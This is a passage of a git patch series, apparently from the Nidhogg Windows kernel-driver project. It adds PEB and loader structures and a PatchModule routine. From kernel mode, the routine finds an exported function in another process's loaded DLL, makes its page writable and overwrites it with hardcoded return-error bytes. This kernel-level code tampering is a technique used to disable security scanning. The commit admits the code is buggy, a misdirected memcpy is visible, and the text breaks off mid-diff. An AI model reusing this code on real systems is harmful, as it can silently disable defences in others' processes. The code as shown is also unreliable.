Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - VOID* TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - VOID* pShimData; //0x2d8 - VOID* AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 - LIST_ENTRY FlsListHead; //0x328 - VOID* FlsBitmap; //0x338 - ULONG FlsBitmapBits[4]; //0x340 - ULONG FlsHighIndex; //0x350 - VOID* WerRegistrationData; //0x358 - VOID* WerShipAssertPtr; //0x360 - VOID* pUnused; //0x368 - VOID* pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 - ULONGLONG TppWorkerpListLock; //0x388 - LIST_ENTRY TppWorkerpList; //0x390 - VOID* WaitOnAddressHashTable[128]; //0x3a0 - VOID* TelemetryCoverageHeader; //0x7a0 - ULONG CloudFileFlags; //0x7a8 - ULONG CloudFileDiagFlags; //0x7ac - CHAR PlaceholderCompatibilityMode; //0x7b0 - CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 -} PEB_1803, * PPEB_1803; - -//0x7c8 bytes (sizeof) -typedef struct _PEB_1809 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR IsLongPathAwareProcess : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - VOID* Mutant; //0x8 - VOID* ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1809* ProcessParameters; //0x20 - VOID* SubSystemData; //0x28 - VOID* ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 - VOID* IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ProcessPreviouslyThrottled : 1; //0x50 - ULONG ProcessCurrentlyThrottled : 1; //0x50 - ULONG ProcessImagesHotPatched : 1; //0x50 - ULONG ReservedBits0 : 24; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - VOID* KernelCallbackTable; //0x58 - VOID* UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - VOID* ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - VOID* TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - VOID* ReadOnlySharedMemoryBase; //0x88 - VOID* SharedData; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - VOID* AnsiCodePageData; //0xa0 - VOID* OemCodePageData; //0xa8 - VOID* UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - VOID* GdiSharedHandleTable; //0xf8 - VOID* ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - VOID* TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - VOID* pShimData; //0x2d8 - VOID* AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 - LIST_ENTRY FlsListHead; //0x328 - VOID* FlsBitmap; //0x338 - ULONG FlsBitmapBits[4]; //0x340 - ULONG FlsHighIndex; //0x350 - VOID* WerRegistrationData; //0x358 - VOID* WerShipAssertPtr; //0x360 - VOID* pUnused; //0x368 - VOID* pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 - ULONGLONG TppWorkerpListLock; //0x388 - LIST_ENTRY TppWorkerpList; //0x390 - VOID* WaitOnAddressHashTable[128]; //0x3a0 - VOID* TelemetryCoverageHeader; //0x7a0 - ULONG CloudFileFlags; //0x7a8 - ULONG CloudFileDiagFlags; //0x7ac - CHAR PlaceholderCompatibilityMode; //0x7b0 - CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 - LEAP_SECOND_DATA* LeapSecondData; //0x7b8 - union - { - ULONG LeapSecondFlags; //0x7c0 - struct - { - ULONG SixtySecondEnabled : 1; //0x7c0 - ULONG Reserved : 31; //0x7c0 - }; - }; - ULONG NtGlobalFlag2; //0x7c4 -} PEB_1809, * PPEB_1809; - -//0x7c8 bytes (sizeof) -typedef struct _PEB_1903 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR IsLongPathAwareProcess : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - VOID* Mutant; //0x8 - VOID* ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20 - VOID* SubSystemData; //0x28 - VOID* ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 - VOID* IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ProcessPreviouslyThrottled : 1; //0x50 - ULONG ProcessCurrentlyThrottled : 1; //0x50 - ULONG ProcessImagesHotPatched : 1; //0x50 - ULONG ReservedBits0 : 24; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - VOID* KernelCallbackTable; //0x58 - VOID* UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - VOID* ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - VOID* TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - VOID* ReadOnlySharedMemoryBase; //0x88 - VOID* SharedData; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - VOID* AnsiCodePageData; //0xa0 - VOID* OemCodePageData; //0xa8 - VOID* UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - VOID* GdiSharedHandleTable; //0xf8 - VOID* ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - VOID* TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - VOID* pShimData; //0x2d8 - VOID* AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 - LIST_ENTRY FlsListHead; //0x328 - VOID* FlsBitmap; //0x338 - ULONG FlsBitmapBits[4]; //0x340 - ULONG FlsHighIndex; //0x350 - VOID* WerRegistrationData; //0x358 - VOID* WerShipAssertPtr; //0x360 - VOID* pUnused; //0x368 - VOID* pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 - ULONGLONG TppWorkerpListLock; //0x388 - LIST_ENTRY TppWorkerpList; //0x390 - VOID* WaitOnAddressHashTable[128]; //0x3a0 - VOID* TelemetryCoverageHeader; //0x7a0 - ULONG CloudFileFlags; //0x7a8 - ULONG CloudFileDiagFlags; //0x7ac - CHAR PlaceholderCompatibilityMode; //0x7b0 - CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 - LEAP_SECOND_DATA* LeapSecondData; //0x7b8 - union - { - ULONG LeapSecondFlags; //0x7c0 - struct - { - ULONG SixtySecondEnabled : 1; //0x7c0 - ULONG Reserved : 31; //0x7c0 - }; - }; - ULONG NtGlobalFlag2; //0x7c4 -} PEB_1903, * PPEB_1903; - -//0x7d0 bytes (sizeof) -typedef struct _PEB_WIN11 -{ - UCHAR InheritedAddressSpace; //0x0 - UCHAR ReadImageFileExecOptions; //0x1 - UCHAR BeingDebugged; //0x2 - union - { - UCHAR BitField; //0x3 - struct - { - UCHAR ImageUsesLargePages : 1; //0x3 - UCHAR IsProtectedProcess : 1; //0x3 - UCHAR IsImageDynamicallyRelocated : 1; //0x3 - UCHAR SkipPatchingUser32Forwarders : 1; //0x3 - UCHAR IsPackagedProcess : 1; //0x3 - UCHAR IsAppContainer : 1; //0x3 - UCHAR IsProtectedProcessLight : 1; //0x3 - UCHAR IsLongPathAwareProcess : 1; //0x3 - }; - }; - UCHAR Padding0[4]; //0x4 - VOID* Mutant; //0x8 - VOID* ImageBaseAddress; //0x10 - PEB_LDR_DATA* Ldr; //0x18 - RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20 - VOID* SubSystemData; //0x28 - VOID* ProcessHeap; //0x30 - RTL_CRITICAL_SECTION* FastPebLock; //0x38 - SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 - VOID* IFEOKey; //0x48 - union - { - ULONG CrossProcessFlags; //0x50 - struct - { - ULONG ProcessInJob : 1; //0x50 - ULONG ProcessInitializing : 1; //0x50 - ULONG ProcessUsingVEH : 1; //0x50 - ULONG ProcessUsingVCH : 1; //0x50 - ULONG ProcessUsingFTH : 1; //0x50 - ULONG ProcessPreviouslyThrottled : 1; //0x50 - ULONG ProcessCurrentlyThrottled : 1; //0x50 - ULONG ProcessImagesHotPatched : 1; //0x50 - ULONG ReservedBits0 : 24; //0x50 - }; - }; - UCHAR Padding1[4]; //0x54 - union - { - VOID* KernelCallbackTable; //0x58 - VOID* UserSharedInfoPtr; //0x58 - }; - ULONG SystemReserved; //0x60 - ULONG AtlThunkSListPtr32; //0x64 - VOID* ApiSetMap; //0x68 - ULONG TlsExpansionCounter; //0x70 - UCHAR Padding2[4]; //0x74 - RTL_BITMAP* TlsBitmap; //0x78 - ULONG TlsBitmapBits[2]; //0x80 - VOID* ReadOnlySharedMemoryBase; //0x88 - VOID* SharedData; //0x90 - VOID** ReadOnlyStaticServerData; //0x98 - VOID* AnsiCodePageData; //0xa0 - VOID* OemCodePageData; //0xa8 - VOID* UnicodeCaseTableData; //0xb0 - ULONG NumberOfProcessors; //0xb8 - ULONG NtGlobalFlag; //0xbc - LARGE_INTEGER CriticalSectionTimeout; //0xc0 - ULONGLONG HeapSegmentReserve; //0xc8 - ULONGLONG HeapSegmentCommit; //0xd0 - ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 - ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 - ULONG NumberOfHeaps; //0xe8 - ULONG MaximumNumberOfHeaps; //0xec - VOID** ProcessHeaps; //0xf0 - VOID* GdiSharedHandleTable; //0xf8 - VOID* ProcessStarterHelper; //0x100 - ULONG GdiDCAttributeList; //0x108 - UCHAR Padding3[4]; //0x10c - RTL_CRITICAL_SECTION* LoaderLock; //0x110 - ULONG OSMajorVersion; //0x118 - ULONG OSMinorVersion; //0x11c - USHORT OSBuildNumber; //0x120 - USHORT OSCSDVersion; //0x122 - ULONG OSPlatformId; //0x124 - ULONG ImageSubsystem; //0x128 - ULONG ImageSubsystemMajorVersion; //0x12c - ULONG ImageSubsystemMinorVersion; //0x130 - UCHAR Padding4[4]; //0x134 - ULONGLONG ActiveProcessAffinityMask; //0x138 - ULONG GdiHandleBuffer[60]; //0x140 - VOID(*PostProcessInitRoutine)(); //0x230 - RTL_BITMAP* TlsExpansionBitmap; //0x238 - ULONG TlsExpansionBitmapBits[32]; //0x240 - ULONG SessionId; //0x2c0 - UCHAR Padding5[4]; //0x2c4 - ULARGE_INTEGER AppCompatFlags; //0x2c8 - ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 - VOID* pShimData; //0x2d8 - VOID* AppCompatInfo; //0x2e0 - UNICODE_STRING CSDVersion; //0x2e8 - struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 - struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 - struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 - struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 - ULONGLONG MinimumStackCommit; //0x318 - VOID* SparePointers[2]; //0x320 - VOID* PatchLoaderData; //0x330 - struct _CHPEV2_PROCESS_INFO* ChpeV2ProcessInfo; //0x338 - ULONG SpareUlongs[3]; //0x340 - USHORT ActiveCodePage; //0x34c - USHORT OemCodePage; //0x34e - USHORT UseCaseMapping; //0x350 - USHORT UnusedNlsField; //0x352 - VOID* WerRegistrationData; //0x358 - VOID* WerShipAssertPtr; //0x360 - VOID* EcCodeBitMap; //0x368 - VOID* pImageHeaderHash; //0x370 - union - { - ULONG TracingFlags; //0x378 - struct - { - ULONG HeapTracingEnabled : 1; //0x378 - ULONG CritSecTracingEnabled : 1; //0x378 - ULONG LibLoaderTracingEnabled : 1; //0x378 - ULONG SpareTracingBits : 29; //0x378 - }; - }; - UCHAR Padding6[4]; //0x37c - ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 - ULONGLONG TppWorkerpListLock; //0x388 - LIST_ENTRY TppWorkerpList; //0x390 - VOID* WaitOnAddressHashTable[128]; //0x3a0 - VOID* TelemetryCoverageHeader; //0x7a0 - ULONG CloudFileFlags; //0x7a8 - ULONG CloudFileDiagFlags; //0x7ac - CHAR PlaceholderCompatibilityMode; //0x7b0 - CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 - LEAP_SECOND_DATA* LeapSecondData; //0x7b8 - union - { - ULONG LeapSecondFlags; //0x7c0 - struct - { - ULONG SixtySecondEnabled : 1; //0x7c0 - ULONG Reserved : 31; //0x7c0 - }; - }; - ULONG NtGlobalFlag2; //0x7c4 - ULONGLONG ExtendedFeatureDisableMask; //0x7c8 -} PEB_WIN11, * PPEB_WIN11; +typedef struct _LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + PVOID Reserved2[2]; + PVOID DllBase; + PVOID EntryPoint; + PVOID Reserved3; + UNICODE_STRING FullDllName; + BYTE Reserved4[8]; + PVOID Reserved5[3]; + union { + ULONG CheckSum; + PVOID Reserved6; + }; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _REAL_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2[21]; + PPEB_LDR_DATA LoaderData; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + BYTE Reserved3[520]; + PVOID PostProcessInitRoutine; + BYTE Reserved4[136]; + ULONG SessionId; +} REALPEB, * PREALPEB; // Undocumented. struct _OBJECT_TYPE_INITIALIZER_TEMP From 79ff7e79990e5cac9b0e47b36065bef514b5df88 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Fri, 14 Oct 2022 15:46:37 +0300 Subject: [PATCH 05/10] Buggy but working patching --- Nidhogg/ModuleUtils.hpp | 102 +++++++++++++++-------------- Nidhogg/Nidhogg.cpp | 2 +- Nidhogg/NidhoggHelperFunctions.hpp | 1 + 3 files changed, 56 insertions(+), 49 deletions(-) diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp index 7c59f50..7a23373 100644 --- a/Nidhogg/ModuleUtils.hpp +++ b/Nidhogg/ModuleUtils.hpp @@ -11,65 +11,86 @@ * Returns: * @status [NTSTATUS] -- Whether successfuly patched or not. */ -NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { +NTSTATUS PatchModule(PatchedModule* ModuleToPatch) { HANDLE hTargetProcess; PEPROCESS TargetProcess; + PEPROCESS CurrentProcess; ULONG oldProtection; - SIZE_T outBytes; KAPC_STATE state; - UNICODE_STRING moduleName = { 0 }; + PVOID moduleImageBase = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; - MEMORY_BASIC_INFORMATION memInfo = { 0 }; - bool changeProtection = false; bool success = true; LARGE_INTEGER time = { 0 }; - time.QuadPart = -250ll * 10 * 1000; // 250 msec. + time.QuadPart = -100ll * 10 * 1000; // Validate that the required functions are loaded correctly. if (!dimGlobals.ZwProtectVirtualMemory || !dimGlobals.MmCopyVirtualMemory) return status; - // Getting the PEB of the target process. - if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch.Pid, &TargetProcess) != STATUS_SUCCESS) + // Copying the values to local variables before they are unaccesible because of KeStackAttachProcess. + WCHAR* moduleName = (WCHAR*)ExAllocatePool(PagedPool, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR)); + + if (!moduleName) + return status; + memcpy(moduleName, ModuleToPatch->ModuleName, (wcslen(ModuleToPatch->ModuleName) + 1) * sizeof(WCHAR)); + + CHAR* functionName = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->FunctionName) + 1); + + if (!functionName) { + ExFreePool(moduleName); + return status; + } + memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->FunctionName) + 1); + + CHAR* patch = (CHAR*)ExAllocatePool(PagedPool, strlen(ModuleToPatch->Patch)); + + if (!patch) { + ExFreePool(functionName); + ExFreePool(moduleName); + return status; + } + memcpy(functionName, ModuleToPatch->FunctionName, strlen(ModuleToPatch->Patch)); + + // Getting the PEB. + if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch->Pid, &TargetProcess) != STATUS_SUCCESS) return status; KeStackAttachProcess(TargetProcess, &state); PREALPEB targetPeb = (PREALPEB)dimGlobals.PsGetProcessPeb(TargetProcess); - if (!targetPeb) + if (!targetPeb) { + KdPrint((DRIVER_PREFIX "Failed to get PEB.\n")); goto CleanUp; + } for (int i = 0; !targetPeb->LoaderData && i < 10; i++) { KeDelayExecutionThread(KernelMode, TRUE, &time); } - if (!targetPeb->LoaderData) + if (!targetPeb->LoaderData) { + KdPrint((DRIVER_PREFIX "Failed to get LDR.\n")); goto CleanUp; + } // Getting the module's image base. for (PLIST_ENTRY pListEntry = targetPeb->LoaderData->InLoadOrderModuleList.Flink; pListEntry != &targetPeb->LoaderData->InLoadOrderModuleList; pListEntry = pListEntry->Flink) { - PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); - if (pEntry->FullDllName.Length == 0) - continue; - - /*if (wcisstr(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName)) { - moduleImageBase = pEntry->DllBase; - break; - }*/ + PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); - /*if (_wcsnicmp(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName, pEntry->FullDllName.Length / sizeof(WCHAR) - 4) == 0) { + if (_wcsnicmp(pEntry->FullDllName.Buffer, moduleName, pEntry->FullDllName.Length / sizeof(wchar_t) - 4) == 0) { moduleImageBase = pEntry->DllBase; break; - }*/ + } } - if (!moduleImageBase) + if (!moduleImageBase) { + KdPrint((DRIVER_PREFIX "Failed to get image base.\n")); goto CleanUp; + } // Validating module. PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleImageBase; @@ -96,50 +117,33 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { DWORD* names = (DWORD*)((PUCHAR)moduleImageBase + exportDirectory->AddressOfNames); for (DWORD j = 0; j < exportDirectory->NumberOfNames; j++) { - if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), ModuleToPatch.FunctionName) == 0) { + if (_stricmp((char*)((PUCHAR)moduleImageBase + names[j]), functionName) == 0) { if (ObOpenObjectByPointer(TargetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &hTargetProcess) != STATUS_SUCCESS) { KdPrint((DRIVER_PREFIX "Failed to get process to handle.\n")); success = false; break; } - auto patchLen = strlen(ModuleToPatch.Patch); + // auto patchLen = strlen(patch); + SIZE_T patchLen = 6; auto functionAddress = (PVOID)((PUCHAR)moduleImageBase + addresses[ordinals[j]]); // Adding write permissions. - status = ZwQueryVirtualMemory(hTargetProcess, functionAddress, MemoryBasicInformation, &memInfo, sizeof(MEMORY_BASIC_INFORMATION), &outBytes); + status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); if (status != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to query protection, (0x%08X).\n", status)); + KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); ZwClose(hTargetProcess); success = false; break; } - /*KdPrint((DRIVER_PREFIX "Protection of the page is - %d.\n", memInfo.AllocationProtect)); - KdPrint((DRIVER_PREFIX "State of the page is - %d.\n", memInfo.State)); - KdPrint((DRIVER_PREFIX "Type of the page is - %d.\n", memInfo.Type));*/ - - changeProtection = memInfo.AllocationProtect != PAGE_EXECUTE_WRITECOPY && memInfo.AllocationProtect != PAGE_EXECUTE_READWRITE; - - if (changeProtection) { - status = dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, PAGE_EXECUTE_READWRITE, &oldProtection); - - if (status != STATUS_SUCCESS) { - KdPrint((DRIVER_PREFIX "Failed to change protection, (0x%08X).\n", status)); - ZwClose(hTargetProcess); - success = false; - break; - } - } - - // Patching the function. SIZE_T written; - char patch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; - // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written); - status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), &patch[0], TargetProcess, functionAddress, 6, KernelMode, &written); + // status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), pmGlobals.ModulesList.Modules[i].Patch, Process, functionAddress, patchLen, KernelMode, &written); + char testPatch[6] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; + status = dimGlobals.MmCopyVirtualMemory(PsGetCurrentProcess(), testPatch, TargetProcess, functionAddress, 6, KernelMode, &written); if (status != STATUS_SUCCESS) { KdPrint((DRIVER_PREFIX "MmCopyVirtualMemory failed status, (0x%08X).\n", status)); @@ -149,8 +153,7 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { KdPrint((DRIVER_PREFIX "Patched function #5.\n")); // Restoring permissions and cleaning up. - if (changeProtection) - dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection); + dimGlobals.ZwProtectVirtualMemory(hTargetProcess, &functionAddress, &patchLen, oldProtection, &oldProtection); ZwClose(hTargetProcess); KdPrint((DRIVER_PREFIX "Cleaned up #6.\n")); @@ -162,6 +165,9 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { status = STATUS_SUCCESS; CleanUp: KeUnstackDetachProcess(&state); + ExFreePool(moduleName); + ExFreePool(functionName); + ExFreePool(patch); ObDereferenceObject(TargetProcess); return status; } diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp index b0f11fc..8bd5d96 100644 --- a/Nidhogg/Nidhogg.cpp +++ 